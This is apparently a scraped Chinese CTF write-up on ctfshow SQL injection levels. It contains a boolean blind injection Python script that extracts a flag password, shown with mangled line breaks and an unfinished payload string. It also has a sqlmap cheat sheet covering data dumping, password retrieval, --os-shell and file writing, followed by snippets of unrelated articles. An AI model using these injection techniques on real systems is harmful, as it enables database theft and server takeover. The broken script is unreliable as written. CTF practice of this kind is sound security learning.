ctfshow sql注入 新手菜雞理解篇

2021-10-21 12:03:34 字數 3358 閱讀 7192

前面幾關沒什麼好說的

174開始布林盲注

發現注入點

import requests

url=

''flag=

''for i in

range(1

,100):

length=

len(flag)

min=

32max

=128

while1:

j=min+

(max

-min)//

2ifmin==j:

flag+=

chr(j)

print

(flag)

break

payload=

"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))

%(i,j)

r=requests.get(url=url+payload)

.text

#print(r)

if'fengyes'

in r:

max=j

else

:min

=j

然後我們開始理解一下大佬的指令碼,首先我之前很不理解二分法的布林盲注是怎麼樣執行的,之後我算了一算第乙個字母是c也就是ascii=99

之後開始算為什麼這個指令碼可以輸出最後的答案。

我們可以這麼理解 if 『fengyes』 in r : 代表真

else 代表否

所以最後。。。。

哎,腦子笨就多算幾遍就懂了。這星期刷完sql注入

首先找到**

注入點。然後時間盲注,不會寫指令碼,直接上sqlmap幹

注意一點 一定要加上 --random-agent

否則**會自行忽略你的操作,我一直以為我的sqlmap有問題,看來是我太智障。

sqlmap簡介

sqlmap支援五種不同的注入模式:

基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。

基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

聯合查詢注入,可以使用union的情況下的注入。

堆查詢注入,可以同時執行多條語句的執行時的注入。

基本格式

sqlmap -u 「    預設使用level1檢測全部資料庫型別

sqlmap -u 「 --dbms mysql --level 3 --risk 3  指定資料庫型別為mysql,級別為3(共5級,級別越高,檢測越全面)

cookie注入

當程式有防get注入的時候,可以使用cookie注入

sqlmap -u 「 --cookie 「id=11」 --level 2(只有level達到2才會檢測cookie)

從post資料報中注入

可以使用burpsuite或者temperdata等工具來抓取post包

sqlmap -r 「c:\tools\request.txt」 -p 「username」 --dbms mysql 指定username引數

獲取資料庫基本資訊

sqlmap -u 「 --dbms mysql --level 3 --dbs    查詢有哪些資料庫

sqlmap -u 「 --dbms mysql --level 3 -d test --tables   查詢test資料庫中有哪些表

sqlmap -u 「 --dbms mysql --level 3 -d test -t admin --columns   查詢test資料庫中admin表有哪些字段

sqlmap -u 「 --dbms mysql --level 3 -d test -t admin -c 「username,password」 --dump    dump出欄位username與password中的資料

其他命令

–is-dba     當前使用者許可權(是否為root許可權)

–dbs       所有資料庫

–current-db     **當前資料庫

–users     所有資料庫使用者

–current-user   當前資料庫使用者

–random-agent     構造隨機user-agent

–passwords     資料庫密碼

–proxy http://local:8080 --threads 10  (可以自定義執行緒加速) **

–time-sec=timesec dbms    響應的延遲時間(預設為5秒)

–batch      自動選擇

–roles     列出資料庫管理員角色

–sql-shell     執行自定義的sql語句

–os-cmd、–os-shell     執行任意作業系統命令

–file-read     從資料庫伺服器中讀取檔案

–file-write –file-dest     上傳檔案到資料庫伺服器中

-v     是sqlmap詳細輸出級別 等級3會顯示payload

–hostname  檢視目標主機名

–delay 1(1秒) 表示延時1秒進行注入,1可根據自己情況更改

**下面開始payload

sqlmap -u 「」 --random-agent

sqlmap -u 「」 --random-agent --dbs

sqlmap -u 「」 --random-agent -d ctfshow_web --tables

sqlmap -u 「」 --random-agent -d ctfshow_web -t ctfshow_user5 --columns

sqlmap -u 「」 --random-agent -d ctfshow_web -t ctfshow_user5 -c"username,password" --dump**

最後flag

sqlmap可能跑的比較慢但是很可靠,時間盲注的指令碼不知道為什麼我的python跑不出來。。。

ctfshow SQL注入 md5繞過

沒錯,又是我,那個大醜逼,哦不對,我在說什麼,是大帥逼 md5繞過 username post username password md5 post password true 只有admin可以獲得flagif username admin 看一下md5函式 菜鳥 啟動!true 原始 16 字元...

新手 SQL注入篇 Access注入

開局絮叨 幾經波折,開始靜下心來學習。並且申請了知乎專欄,做一些日常學習整理的筆記和一些技巧。留給未來的我,和懂的欣賞的人閱讀。做筆記的確是個好習慣,因為在全世界上萬人中也就有其中那麼些少數人能擁有過目不忘的本領。加油!路還長。0x1 sql注入篇 access注入 當初接觸這個坑的時候就是從注入 ...

美菜校招生順利「畢業」,為美菜注入新鮮力量

前不久,2020屆數百位畢業生成功參加了美菜公司內部組織的集訓,現在他們已陸續抵達目的地城市,進一步感知美菜的企業文化和工作內容。他們自稱自己為 美菜小番茄 進程式設計客棧入網際網路 農業,開啟自己人生的全新歷練。為了這次遠航,他們早早地聚攏,等候風的來臨。數百位畢業生小番茄還為自己寫下了歌 錄製m...